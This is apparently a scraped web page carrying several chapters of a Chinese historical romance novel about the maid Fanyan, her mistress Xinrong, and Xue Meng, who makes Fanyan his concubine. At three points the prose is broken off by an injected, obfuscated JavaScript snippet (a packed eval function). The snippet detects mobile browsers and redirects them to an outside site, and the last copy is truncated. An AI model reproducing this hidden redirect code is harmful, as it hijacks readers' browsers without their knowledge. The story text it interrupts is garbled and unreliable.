提及此事，他至今毫无悔意，只觉畅快：“无须母亲状告，今上得知我滥用私刑，龙颜大怒，一顿笞杖算是做舅舅的小惩大诫，下回再敢恣意妄为，就不是这么简单了。” 现下长公主得了消息，必是皇帝气消了。薛盟见母亲声泪俱下，果真是伤心的，终究不便再计较，过往的龃龉就此勾销罢了。 殊不知梵烟心里骤然掀起一阵惊涛骇浪，早先诸般疑窦均迎刃而解，余下的百感交集，暂且不知该用哪一种来面对他。 得见她如此情态，薛盟倒是心下一喜。他在梵烟面前，每每有一股不顾分寸的冲动。从前他还为这种不顾分寸而懊恼，觉得失了大家子的礼数，平白唐突了她，叫她为难，惹她生厌。而今…而今却不同了，他明悟了自己几番反常的缘由，巴不得叫她也尝一尝个中滋味。 他站起来，在茶案前来回踱步。心底那点隐秘的念头仿佛野火燎原，烧得他胸腔滚烫，烧得他四肢百骸“噼啪”作响。 但他竟然强撑住了，仍旧一副磊落姿态。一只手虚握成拳，抵在侧后的博古架上，片刻，回首凝视着梵烟，低声问：“吓着你了？” 梵烟下意识地否认：“草菅人命者倘能善终，岂非天道不公？可惜累你受罪，实在不值；可喜母子冰释前嫌，又算因祸得福了。” 薛盟几时听过她这等率真之语？欢喜得不知怎生是好，直叹：“往日我但见你们主仆亲密无间、无话不谈，今日何其有幸，竟也有此境遇！” 梵烟回过神来，不禁红了脸：“赞善不嫌我愚笨，我自当知无不言，言无不尽的。” 恐他再说下去，慌忙将曾木匠父女一事提起，起身斟了茶，双手奉与他，郑重谢过。 薛盟接了，又腾出手拢了拢氅衣，正襟危坐：“那木匠的手艺我见过，平心而论，放在自家实有些格格不入。若牵线卖给别人，不过是勉强为之，若是谁以此为据，要我也勉强办几件事，到底不美。至于那小姑娘，倒是个可以栽培的苗子—— “眼下百业待兴，上励匠作。苏杭的丝、景德的瓷、福广的糖，徽州的纸…她年纪小正是长处，选入官营的门下，潜心专研数年，不愁没有作为。” 梵烟喜出望外：“果然是赞善思虑得长远。我纵有心，见识有限，力不能及了。” 薛盟一哂：“这世上从来不乏能人，技艺可以习得，金银可以堆砌，权势可以钻营——唯独有心，有心最难得。” 剔犀小盏里的茶已渐凉，他的指尖仍停留在杯身，试图挽留一点温润的暖意。 “梵烟，”临别前他又唤了一回她的名字：“等回了府，还能得空来同我说话吗？” 14. 十四 开天辟地头一回，梵烟在歆荣面前有了保留。 二人细说一回荟儿父女的安置，以及长公主到访一事，复又谈起明日登高望远云云，梵烟因揣测：“想必届时同席，不至于再如坐针毡、大眼瞪小眼了。”唯独不提薛盟那几句越界之言。 歆荣轻嗤一声：“薛赞善连苦肉计都用上了，好歹能管用一段时日。等回了城，依旧各过各的，便是最好了。” 梵烟附和着，三魂里却有两魂云游在外。歆荣看得一清二楚，放下手里的绣活儿：“八红、十锦野了大半日，一时我列个单子，将众人素日爱吃的都写上，专叫她俩给厨房送去。你且闲逛逛，看七巧的画得了不曾。” 梵烟竟不觉有异，漫然答应一声，果真寻七巧去了。 歆荣觑着她的背影，婉约袅娜里直透着呆，一时又笑又恼：薛盟算个什么人物，也能轻易拨动她一片芳心。 且说七巧这边，在亭榭里坐了好几个时辰，一时仰看天光云影，一时俯观白鹭跳波，分明腹内万千感悟，落笔犹觉浅薄拘泥。徒揉了几团竹纸在地，不敢往宣纸上沾染，平白糟践好东西。 正坐得脖颈酸痛，偶一抬头，见梵烟向这边走来，忙起身去迎她：“你来得好，我脑子里惘惘的，正想寻个人说话呢。” 梵烟在这游廊曲桥里百转千回过，思绪倒厘清许多，闻言笑问：“画得如何了？且让我观摩观摩。” 说着望向矮腿条案上铺开的宣纸，奇道：“怎么是一片空白？” 七巧顺着她的目光看向空纸，不无惆怅：“可不是怪事儿？如今我闭着眼，都还能看到云啊，水啊，鸟啊，连风拂过树枝的声响都在半空里盘旋。可是笔一提起来，就觉得…觉得俗了！硬|了！怎么画都不对味儿，胡乱涂抹了几张竹纸，哪能往这上好的宣纸上誊？” 梵烟因俯身，拾起那几个纸团来展开，指尖在洇开的水墨上虚虚勾勒过，半晌道：“这不就是''此中有真意，欲辨已忘言''？” 指了指亭外：“你看这天光云影瞬息万变，鹭鸟倏忽来去无痕，它们本就不为纸上丹青而停驻。你心中所存，已化为你自己的心境，又何必过分舍意逐形呢？” 七巧豁然开朗，拍手笑说：“你说得对！是我一时着相，幸亏得你点拨，可谓醍醐灌顶了。” 梵烟陪她将宣纸小心卷起收好，归置了条案：“什么着相、点拨的，正经同我透透气、活动活动你这颈子最务实。” 天色向晚，二人也不走远，仍旧徘徊在这片水榭上，吹着风儿闲话。 “…我常描花样子，学起画来，自觉该以工笔入门，可经你这么一说，写意亦并非不可。”七巧捻着一枝玉蝉花，侧首面向梵烟，疏淡凉白的日暮无损后者隽永的沉静容颜，甚至因为这清秋时节，蕴养出更深切的诗篇。 七巧不觉笑起来：“美人儿像有写意的吗？若我学成了，画一幅赠你。” 梵烟向她一睇：“如今传下来的写意美人图寥寥无几，首推瘿瓢子。你若能画，不愁不成冠冕宗师。” 七巧本还认真听着，及至话落，俯身就来拧她的嘴，梵烟两手抵住她两条胳膊，一面东避西躲，一面犹道：“咱们原是互相恭维，怎么我就得了不是？” “你还说！”七巧拧不着她，另辟蹊径，虚晃一招，改为往下胳肢她，梵烟最怕这个，顿时满口求饶不住。 这会儿再“好妹妹”、“好姐姐”的喊也晚了，七巧偏不饶她。正闹着，一个老妈妈路过，随口提醒她们：“天要下雨了。姑娘们快回吧，仔细淋着。” 二人方才休战，返至亭中收起画具，结伴回房。 半道果然狂风大作，周遭枯叶荒枝皆为之作响，随即雨声潇潇，银丝帘般密密垂下，十步之外已看不真切。 忽然有一粉一青两道身影跃至眼前，险些与梵烟两个撞上——原是去厨房传话回来的八红十锦。 梵烟便说：“这一路都有房檐遮挡，淋不到雨，唯独地上偶被溅水，有些湿滑。你们别跑，摔倒了却不值当。” 八红笑起来：“我们并不为避雨，是难得这天地间一片水茫茫的，再没人多留心，何不跑个痛快？” “跌疼了躺个十天半月更痛快。”七巧揶揄一句，因十锦要替她拿东西，便将几色颜料予十锦捧着：“亏得九莺不在，否则看她训不训你们。” 八红便赖上前来撒娇：“九夫子不在，姐姐你怎么不心疼心疼我？先前夫人列单子，问诸人爱吃什么，我可把姐姐记在心尖尖儿上呢。” 梵烟无奈劝道：“罢了罢了，你们多少深情厚谊，回房再叙不得？” 见她裙裾沾湿了一角，几人这才赶紧往前走。 两个小的叽叽喳喳在前，七巧与梵烟落后几步，借着雨声遮掩，慨然道：“乡野丫头傍了高枝儿，又讲究起爱吃不爱吃了，又附庸风雅论起写意不写意了。不照镜子，再不记得自惭形愧。” 梵烟从不知她有这些心思，意外之余，亦觉说中了自己，愣了一时方笑：“好没意思。说这话倒像不惜福。” “你跟我们又不一样？” “怎么就不一样？” “夫人若是明月，你自是旁边的小星。而我们嘛，许是道旁的草、河底的泥、浆衣服的浆粉子，横竖一天一地。” 梵烟顿住脚步，又看了她一回，再不搭话。 到了歆荣跟前，事事如常。安寝前雨也停了，歆荣趁愿：“不登高终是不成的。若仅是宴饮一日，白借了重阳的虚名儿。” 次日早早起身，因长公主在，一行人前去定省。澜序也赶来了，奉命捧着一盘茱萸，先请长公主佩戴，再余下的再分与众人。 长公主和颜悦色的，受了歆荣等人的礼，自挑了一支能入眼的茱萸簪在鬓边。稍晚薛盟也来了，越发无可指摘，一家子游乐宴饮，不必赘述。 又过一日，打道回府。临行前荟儿方得了允准，来向歆荣并梵烟磕头道别。 梵烟见她换了一身夹袄棉裙，虽朴素依旧，但总归能保暖，不缩手缩脚了，人也精神些。 七巧几个张罗着歆荣上马车，梵烟抓紧工夫又问：“你去苏州，可有谁同行？” 荟儿点头：“程二婶子一家都去，她家小儿子因薛大人开恩，在织造局谋了个位置，大人让她照应我。” 知道梵烟挂心，上前两步，接着说：“本来能留在京中最好，但薛大人说，烧窑造瓷我做不了，好女儿志在四方，等学些精致手艺，长了见识，自己也能立一份家业，届时万事都好了。至于我爹爹这儿，程庄头替我看顾些。” 梵烟心烦意乱几日，不承想薛盟已筹划到这一步，忙嘱咐荟儿：“出门在外，凡事留心些。衣食别亏待自个儿，别强出头，也别平白忍耐委屈，拿不定主意时就去找程二婶，她若不便，就捎信儿给我…” 喁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125641|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喁交代了一大通，仍觉有疏漏，这边车马将行，也不能单等她一个，只得暂且分离。 长公主因是长辈，车架最先行，事后方得知这一插曲，便问原委。梵烟少不得说了，只归于薛盟一人的善心，再为自己耽搁了脚程请罪。长公主只笑：“行善积德，何罪之有？” 恰巧太子遣人来请薛盟，薛盟连忙换了衣裳，随那人去了，长公主亦按下话题，自回公主府。 回到薛府的日子确如歆荣所料，平淡如流水。纤纤独自操持了一场，染了风寒病了，特意派个小丫头来禀歆荣，歆荣免了她的定省，送了几样温补之物过去，让她千万慢慢调养好。 梵烟依言办了，抽空清点一回账册。 七巧悄悄走过来，拉她：“这两日闹哄哄的，延误了给你赔礼。那天是我被精怪附身，说了胡话，姐姐别放在心上。” 梵烟“哼”了一声：“如今轮到我当姐姐了？” 她俩原本同岁，只七巧不知道自己生在几月，向来混赖着，定说比梵烟大。 七巧闻言，一连叫了一串“好姐姐”，给梵烟捏肩。梵烟消了气，又说她：“纵比我小，嘴里也该有个忌讳，怪力乱神的还是少说为妙。”七巧乖乖受教。 至此再没什么缺憾，大家知足常乐、随波逐流，擎等着过年。 立冬过后，澜序进内院请安，对梵烟说：“太子殿下赏了家主好些东西，姑娘一时随我前头去，领了夫人这一份来。” 歆荣听见，说“正好”，“回来时请纤纤务必过我这儿一趟。冬日的毛料子送来多时，她只一味谦让着不肯挑，总不能回头又冻病了。” 梵烟无法，接下这两样差事。本以为回了这处宅子，内外走动不再便宜，避开薛盟就容易了，谁料薛盟又有此举。 眼下雪早住了，亦不能拿它推脱。只得取了斗篷罩上，同澜序过去。 薛盟在暖阁里等着，一见梵烟，先将东西指给她看：“五色绣罗袄、银鼠皮、白狐皮是皇爷赏的，白玉宫绦、青金串珠是太子赏的。这几样我想夫人穿戴着都合宜，一并给她送去。” 梵烟答了个“是”，见他单从一旁屉子中取出一样东西：“这是广州来的三针表。你随身携着，看时辰方便。” 梵烟不接手，摇了摇头：“我们房里就有西洋钟。这东西金贵，又小巧，随身夹带在厚衣服里，什么时候掉了都不知道。” 薛盟一笑：“好歹看一眼。”揭开雕花镶珍珠的表壳，白色珐琅盘上三针一线，倒是比座钟好认。 “我看地方来述职的官员有戴这个的，悬在腰间，跟七事差不多，并不出奇。”薛盟说罢，见梵烟依旧不为所动，只得将东西又搁回屉中：“罢了。是我思虑不周。” 不愿再听梵烟客套推辞，扬声唤澜序着人来搬礼品，自己送了梵烟出来，低声道：“姑娘原答应我，常来做客——姑且算我妄求，姑娘又忙于正事，不来也是情理之中。” 梵烟急忙辩解：“我…我并没答应。” 薛盟又笑了一声，余音极轻，转瞬散在寒天冻地里：“梵烟，我因以为你我不必再如此见外，方才备下怀表赠你。” “赞善言重了！”梵烟被他逼得节节退败，呼吸间的热雾横亘在二人之间，亦将她眼底的软弱粉饰了些许。 薛盟微愣，惊觉自己像个仗势欺人的恶霸，立即收敛了作色，口吻恢复如常：“回去吧。” 15. [锁] 该章节由作者自行锁定 澜序领着几个小子，先行捧了宫中赐物到歆荣院中去，梵烟自己仍空着手，折向西跨院去探纤纤。 一个眼生的小丫头开了门，梵烟踏进去，见纤纤坐在镜前拿篦子抿头发。 “姐姐今日气色好多了。”梵烟笑着，向她蹲福。纤纤站起身来拉她：“多亏夫人赏的那些药，吃了果然见效。” 梵烟说：“夫人知晓姐姐前些日劳心费神了，回来后常想着来探望，又怕扰着姐姐清养。今日因下过雪，更冷了几分，实在放心不下，特嘱咐我来瞧姐姐。” 纤纤道了谢，道：“怎敢惊动夫人贵足履贱地？”复骂那小丫头：“还不倒茶来！” 梵烟观她如今行事，倒摒了初来时那股如履薄冰的劲儿。暗暗敁敠一回，拦住那丫头：“茶就不必了。我原是来请姐姐的——冬日的毛料子送来了，夫人原与姐姐约定过的，要一起挑一挑成色、商量如何做出来。今儿正好，大家在一处喝杯茶、说说话，也可解闷儿。” 纤纤心中早已有数，如今又得了歆荣一个“请”字，再婉拒就不合适了。满口答应下来，让丫头拿她旧时的一件莲青鹤氅与她披上。 梵烟微微笑着，候她穿戴妥当，携着手出门往正院去。 庭院里积雪不深，朱栏碧瓦上不过覆着薄薄一层素白，唯檐角处略丰些。檐下铜铃并廊外芭蕉皆冻住了，仿佛永恒的静谧里，只她们两个人，渺渺而行，发出一阵阵簌簌轻响，宛如天地间的模糊低语。 “才说让七巧画，偏她俩又来了。”直到一阵笑声响起，梵烟蓦然抬首，见七巧、八红、九莺、十锦簇拥着歆荣站在台阶上：“这银装素裹的正适合随性涂抹，你们一出现，必得工笔细细勾勒了。” 梵烟见歆荣不过穿着家常衣裳，手里捧着个小珐琅炉，忙笑道：“咱们进屋说话吧。” 纤纤还要屈膝行礼，被歆荣虚扶一把止住了：“我是个不怕冻的，你且得多仔细些，再别拘礼了。” 九莺十锦打了毡帘，室中温香拂脸。梵烟正解斗篷，纤纤伸手替她拉开系带：“来，我帮你。”梵烟这才想到，她既没带着丫鬟，又差使不了这屋里的人，少不得要自己礼尚往来一回。 于是从善如流，将两袭外裳收拢好，挂在桁架上。 歆荣这边已着人备了牛乳茶，另有一色青花小碟，盛着玫瑰卤、糖桂花、榛果、松仁等物。又有一架三叠錾暗纹金盘①，分置咸甜细点。 纤纤告了坐，接过茶，先赞道：“夫人这儿果然样样精致，不说茶点，连搁它的盘子也是从没见过的。” 歆荣便笑：“这个姑且叫瑶台荐新。不如攒盒方便，仅是摆着好看而已，也不串味儿——我闲来无事，琢磨这些倒还有趣。你尝尝合不合口味。” 纤纤对牛乳制品向来不大能克化，心里暗觉抗拒，见歆荣捏着根小银匙，正往茶里点玫瑰卤及松仁，自己便拣了块松仁酥，入口也不大甜，不甚合她的口味。 幸而歆荣不觉，搁下杯盏，拿帕子掖了掖唇角：“听闻西南平定，今年的蜀锦分外好，各色花样我都给你留了一份。银鼠皮和紫貂绒还是那个样子，不过依着时令上身就是了。” 纤纤闻言，方将目光投向不远处的螺钿大箱子上，只一眼，就被其中一件油亮如墨玉的紫貂绒吸引住了。 “快过年了，这些料子都以艳色居多。”歆荣走过去，又回头招呼纤纤：“没想到莲青的也极衬你。” 纤纤谦道：“这原是长公主上年赏的。我哪里配得上，全蒙殿下厚爱而已。” 歆荣抿了抿嘴，随手拾起一匹宝蓝缠枝莲的，在纤纤身上比了比，又让梵烟参详：“你皮肤白，拿这个做件灰鼠褂子最俊俏。” 再指旁边桃红织金的：“这一样配上貂绒，出门的时候穿。虽不敢与长公主所赐比肩，但也是我的一片心意了。” 纤纤忙道“不敢”，歆荣轻嗔一声：“有什么不敢？你看梵烟，上午给了，下午便等不及要穿出来。你就是太过老实，分明身份比别人都高，还这么小心，可别是同我生分？” 纤纤叫她一番话说得脸颊飞起两道红晕，赧然收下了。 茶过三旬，天色也转阴不少。纤纤见机，站起来告退，歆荣允了，复叮嘱：“怕是又要落雪，路上滑，倒不必常常过来了。”纤纤应声，却行出去。 九莺替她掀开帘子，目送她走远了，返来向歆荣道：“这些天她院里的人换遍了，今日还不禀给夫人。” “赞善知道吗？” “两位嬷嬷必要回给家主，才算把差事彻底交出去。” 歆荣点了点头：“这便是了。” 梵烟听罢送衣料去的女人复命，跟着走过来：“就这么一概不管？” 歆荣面露狡黠：“管得多了，就推脱不掉了。再者，不是还有你？” 梵烟乜她一眼，佯怒道：“得你一件斗篷，又要被支使，又要被说嘴——你为何拿我跟她比？” “为何不能比？”歆荣不答反问：“在前头耽搁了小半日，若非拿我的话做由头，你可回得来？” 梵烟好容易平复的心绪，又被她一句话勾起来，不免真生了气：“往后这些跑腿传话的差事，只叫别人去，我再不去了。” 歆荣无奈一叹：“哪是我叫你去，分明是他叫你去。” 见梵烟别开脸不作声，她便对七巧几人说：“去把先前送来的东西清点一回，登在册子上，往后你们也得学着做这个了。” 待众人都散了，歆荣收起打趣的口吻，温声向梵烟道：“从小到大，我的心事，无有不同你说的。如今你大了，原也该有自己的主意，只是你看这深宅大院，祥和之下竟像藏着个无底深渊，若你我之间再不相知，将来遇上什么变数，我又该如何行事，才不至带累了你？” 梵烟至此不得不转过身来：“夫人于我，从来不会有''带累''之说！” 想了一想，莫名委屈起来，索性将头靠在歆荣怀里：“因为荟儿一事，我欠了薛赞善人情。早在别院时，他就说…让我时常与他说话，今日去领宫中赐物，他又拿出一样西洋表，要我收下——帮荟儿我不后悔，与他有牵扯我却后悔。” 歆荣爱怜地抚着她的头发：“后悔什么？” 梵烟沉默良久，闷闷答：“不知道。” 歆荣终究忍不住笑了：“不知道也罢，兴许将来会明白的。可是梵烟，只管随心些，不必顾虑旁人，但凡我在这里，便不会叫你孤立无援。” 她们俩一体同心，梵烟当然明白。她不明白的，唯有自己的胆怯。 宫中的赏赐下来后，长公主的东西也送来了。这一回便实惠许多：皮料药材、金银玩器、文房四宝…歆荣这边又单有一样瓷青纸，抄经时蘸上泥金，便是“青地金书”，再难得不过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132171|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歆荣接了册簿略一过目，即知有纤纤的一份，没有梵烟的一份。 “这位殿下，真是好大气性。”歆荣便交代梵烟：“后日公主府又设宴，你就别跟着去了。” 梵烟忖了忖：“年节底下，她也未必发作。退一步说，发作我，总比发作你强。” 七巧笑道：“瞧你操这许多心。难道除了你，咱们都是木头不成？” “正是这个理。”歆荣亦赞同：“我只带那纤纤，再就是九莺，年纪也够小，不至抢了谁的风头。” 十锦忙问：“那我呢？我还有一把子力气呢。” 八红道：“又不是打架去，打架也用不上你。”众人都笑起来。 随行事宜定下来，到了赴宴当日，果见纤纤围着新做成的织金貂绒斗篷，戴了观音兜，早早来到正房等候。 歆荣亦穿戴齐整了，扶着九莺的手上暖轿，不忘嘱咐纤纤：“一时咱们俩一道坐车。”见纤纤应了，方才放下轿帘。 主家一走，留下的人落得清闲。八红便央七巧将画拿出来大伙儿开眼，七巧原不肯，只说画得不好，况且也没画完，禁不住其余三人一意撺掇，只得去取。 画缯甫一展开，十锦便嚷：“你也自谦得太过了！” 但见上面恰是歆荣说的雪景：均匀铺陈的浅淡天幕，庭院里简练勾勒的楼阁，浓厚的点苔，冷翠的芭蕉下走来一抹小小身影，其旁一半伞檐。 “这是纤纤。”十锦指了指，“梵烟姐姐在廊下，和夫人站在一块儿。” “你在屋中。”梵烟也找到了她，手里捧着一领氅衣。 七巧笑着解释：“这下可全了你的记挂。” 梵烟轻搡了她一下，又问：“那你呢？” 七巧指了指自个儿：“我在这儿呢！” 笑了一回，八红啧然：“这也画得太细致了。人物已经栩栩如生了，怎么我看这些天啊、雪啊、树啊，也不像随意涂抹出来的？” 十锦说：“你能有这份见地，也就不算个榆木脑袋了。” 寻常只有八红揶揄十锦的，而今倒了个个儿，二人一时闹作一团。 混过了半日，渐觉无聊。十锦睡了一觉，八红去外头转了一圈，七巧收拾完画具，又同梵烟将寝间整理一遍、账册对过一回，四人俱在暖阁里做针线。 到了晚间，厨房揣度着几位姑娘的口味，送来一道暖锅，鸡汤打底，佐以银鱼、羊肉圆子、豆苗、菇笋等物，又有一大盘蒸芋头、一盘枣儿蒸糕。 大伙儿洗了手，纷纷张罗着安碗布筷，围着一张圆桌坐下。七巧因感慨：“咱们今日也算团圆了。” 八红正挟起一颗枣儿，送进嘴里，方道：“照这么说，还该要一壶酒来应景儿。” “罢呀！”梵烟啼笑皆非：“一会儿夫人该回来了，进来一看热水热被什么也没有，只满屋子醉鬼。” 十锦便说：“那我唱个曲儿吧！”得了异口同声的赞许，欢喜地清了清嗓子，唱道： “鳌山灯，万盏明，嫦娥月宫舞娉婷。 狮子绣球滚滚来，金龙吐珠耀门庭。 照得人间无灾病，风调雨顺享太平！” 正热闹之际，外头忽然有人叩门。只梵烟听见了，起身去开，见是九莺，才要开口邀她入席，九莺先声夺人：“家主和夫人还在前院，我先同你透个风儿——家主要抬你做妾。” 16. 十六 “长公主有心抬举纤纤，赞善不愿意就算了，何苦把梵烟推到风口浪尖、替她招惹些虎视眈眈！” 澜序见家主、主母议事，歆荣又脸色冰冷，哪敢出头，上了两盏茶，忙不迭脚底抹油溜了。 薛盟默然听她训罢，方才开口：“夫人所虑甚是。只是我本意爱重梵烟姑娘，席间所说亦是肺腑之言，绝非全为搪塞母亲。碍于姑娘心意未决，不敢逼迫，原当徐徐图之，无奈母亲定要为纤纤讨个名分——纤纤年长，兼是长辈赐予，若再在次序上越过梵烟，梵烟往后不是处处受制于人？” 好个肺腑之言。歆荣心中冷笑：依旧这般巧言令色，腹内不知还有多少花花肠子：“我自然不敢与殿下挺腰子，可梵烟在我身边，终归不会叫她受委屈，无论她是何种身份。” 薛盟适才也是一时情急，深知欠妥，眼下怎好辩驳？不过皆依歆荣之言而已。 歆荣发了一通火，也明白木已成舟，转圜不得。懒得久留，站起身来：“赞善且请歇着吧。如今也不必再操之过急了，只须赶在年里，沾沾纤纤姑娘的光，好生办一场酒。” 临走，她按捺不住，正色望住薛盟：“梵烟的身契我早给了她，不承望家主抬她做贵妾，可好歹也是良妾。” 薛盟有口难言，敛眉听着，一面挑了灯送她出来。 歆荣气盛过后，身心俱疲，不耐烦再敷衍他，回绝了他继续相送，自回内院。 正房里灯火尚明。歆荣心下一动，急于去看梵烟。掀开门帘，迎上来的却是七巧，一面帮她解斗篷，一面向内室扬了扬下巴：“突然说心口难受，到里头躺下了。”作势又让八红端热茶。 歆荣顾不上旁的，拂开珠帘，就见梵烟挨着熏笼和衣侧卧。暗叹一声，上前握了握她的肩头：“你都知道了？” 梵烟瓮声一“嗯”，翻身面朝着歆荣，坐起来勉强笑道：“晚间吃的杂了，才觉得些微不受用，躺一躺已经好了。” 此时再多安慰也是不痛不痒，轮到歆荣沉默下来。 反而梵烟看得透彻：“我能陪着你到这府里来，原就是家中二老安排的。家主既和气，也不朝三暮四，还有什么不足意？” 心口痛成了一种时疫，顷刻侵袭到歆荣。她攥紧了远离梵烟的那只手，指甲微微陷进掌心，激出一层薄汗。旋即，她用力拥住了梵烟： “不足意的地方还多。你不是陪嫁奴婢，你是我的妹妹，我带你来这地方，不是要两个人一块儿吃苦受委屈的。他薛盟和气？不朝三暮四？这些不过是做人的本分！你在他跟前不必气短分毫。什么名分、什么次序，都是虚的，只要我在一日，谁都越不过你去！谁都伤不着你一指头！” 羊脂蜡烛蜿蜒泪落，静静尘封在玻璃灯罩之中。 焰火轻一摇曳，折出几分绚丽，再定睛看时，烛身已披上绯色。 纳妾亦要过府衙、立文书，不过礼仪降格，也不点龙凤蜡烛。薛盟不知从哪里弄来这东西，不伦不类的。 梵烟开了脸、上了脂粉，但觉整个人掩在厚厚的面具内，木木的，不大有悲喜。 没有盖头，珍珠帘儿挡在面前，火光熠熠的，恰似头里去拜歆荣时，挂在内室的那挂帘子。 兀自神游之际，房门打开，薛盟走进来，先前那身宝蓝圆领袍忽换作了大红麒麟服。 “方才不慎洒了些酒在衣裳上，我推说更衣，得以脱身回来。” 摆几桌家宴原不请亲友，但薛盟一向交友甚广，闻说喜信儿，如何不来凑热闹？ 梵烟点了点头，一时无言。珠帘儿晃了两晃，轻微动静也听得清。 薛盟挨着她，也在床沿坐下，一面俯身过来，仰脸打量她的脸色：“姑娘还恼我呢？” 梵烟被他这副姿态闹得大不自在，往后退了两退，珠挂儿乱摇：“没有。” “我替你将这东西取下？怪碍事的。取了也好吃点东西。” 他有意做小伏低，梵烟又何必拿乔？由着他伸手过来，摘了面帘，鬓发被勾散了几丝，薛盟下意识掠了掠，随即才像被烫着了似的，蜷起指尖。 慌张之余，犹泛出些许窃喜。借着将珠串搁在一旁螺钿小几的工夫，他佯自镇定地站起身，走到桌前一瞧，皆是中看不中吃的菜色，唯图个意头吉利而已。又揭开旁边的温碗，见是燕窝粥，心道：这还罢了。 执起玉勺，舀了半碗，不急着端，回身问梵烟：“加糖还是加蜜？” 梵烟摘了珠帘，始觉视线骤然清明许多，却看不懂他背对着她在忙活什么。听见这句，不由愣了一愣，方说：“温温热热的就好，什么也不搁。” 薛盟应了一声，又用手背试了试碗壁温度，这才捧到她面前。 碗小，他手又大，梵烟接也不便接，两个人一时都笨手笨脚起来。僵持片刻，后知后觉旁边还有一张小几，薛盟将碗搁上去，轻轻推到梵烟面前：“小心烫。”侧身在近旁的绣墩上坐了，未再坐回床沿。 梵烟被他专心致志地等候着，吃也不是，不吃也不是。捧了碗，只拿小瓷勺儿缓缓搅着，清润的粥米香袅袅散开，再要赌气仿佛也积聚不起来了。 她低头，浅抿了一口，四肢百骸都舒展许多，不必继续严阵以待。 洋红雕花烛芯结了又爆，薛盟静凝着跃动的焰火，偶而目光扫过她低垂的眉睫，倏尔移开，不忍扰了这难得的温情。 角落里的玳瑁西洋钟“嗡嗡”摆起锤来，已经三更了。梵烟主动开口：“家主早些歇息吧。” 薛盟闻言颔首，起身时又笑：“你知我表字，往后叫誓之就是，不必外道。”未等梵烟答复，自往外间安置。 梵烟听着他开大柜子取被褥，尽力放轻动作后的窸窣声，本应畅然舒怀，未料一口气松过，胸中仍残留着几分滞涩，叫人难以自如。 她卸了钗环、洗了脂粉、散了发髻，拨下床架两边的鎏金钩，大红云锦鸾凤和鸣幔帐笼罩下来，舍予她一方小小天地。她陷入流水般轻且滑的茵褥里，喜庆繁复的图案镶嵌进她光怪陆离的梦。 睡得不沉，翌日蒙蒙昧昧揭被欲起时，却似遭千斤磐石压身，拼尽全力也推不开。挣扎得出了汗，喉头一声抽泣，方逃脱梦魇，张眼一看，不过是满床艳色太浓厚，热得难受。 “怎么连汗都出来了？”熟悉而轻快的声口传来，几乎让梵烟忘记了今夕何夕——九莺和十锦都被歆荣派到了她身边——“家主早起身了，外头有公干。” 九莺一边拿手绢给梵烟擦汗，一边低声道：“收拾床被的时候只有我和十锦在，你放心，不会再有旁的人知晓。夫人说了，今日轮到纤纤给她见礼敬茶，你且不忙过去。” 梵烟怔怔的，只是望着九莺的脸儿，片刻才像听进去了，自己拢了拢头发，披衣服下床。 九莺忙要伺候着她穿鞋，梵烟停下来，说：“纵然在旁人眼里，我得了抬举，身份变了，可私底下咱们这些人在一处，还是同从前一样，你们别心里远了我。” “这个是自然。”十锦端着温水进来，笑道：“如今当了二等丫头，提水拎饭的活儿也有人替我做了。可见凡事总不会半点儿好处都没有。” 她说话向来直率，并无宽解人的天赋，但梵烟到底莞尔一瞬，九莺瞧着，心里也不禁稍稍放心：“不让我们动手，难道你一个人三头六臂，里里外外都调度完了？” 待梵烟自己洗漱过，乖乖由九莺扶着坐到妆台前，梳了个家常发髻，簪了一双金镶玉灵芝簪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170727|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梵烟从镜子里瞥见自己身上的藕荷色袄儿，陌生之感倒比昨日略减。因对九莺说：“既然得闲，待会儿吃过饭便把床铺换了。” 九莺知她心思，答应着，又说：“织绣品夫人给了两三箱，不用大红的，也可挑几样鲜焕颜色。另外家主也给了好些物件儿，还没仔细归置，不如一道理出来？” 梵烟掩耳盗铃的这一阵，收房的大小事宜全不理会。院子是歆荣选的，陈设是薛盟定的，就连昨儿的正经章程如何，她都只管听之任之——自欺欺人再久，总有要面对的时候。 于是移来蝶几，三个人一道用饭。梵烟执起银箸，却没甚胃口。昨夜燕窝粥的温热尚存唇齿间，与眼前的甘脆肥醲并不相宜。 囫囵应付过五脏庙，便来整理屋子。从前将纤纤接到西跨院安置时，从没想过有朝一日与她做了邻居。两下一样格局的三间房，梵烟这边单开了一道后门，可抄近路过正院，故而白多得一处小小天井，栽着冬青、山茶等花木。 十锦走过来：“这里背风向阳，倒是个晒衣裳的好地方。”说着果然挪了两张条凳过来。 九莺笑道：“你先别急。如今这些料子俱是新得的，尚且无需晒它。且搬个杌子来，将几口箱子里的东西分门别类清点出来，我来造册，梵烟姐姐过目——正好考校考校我管事的本领。” 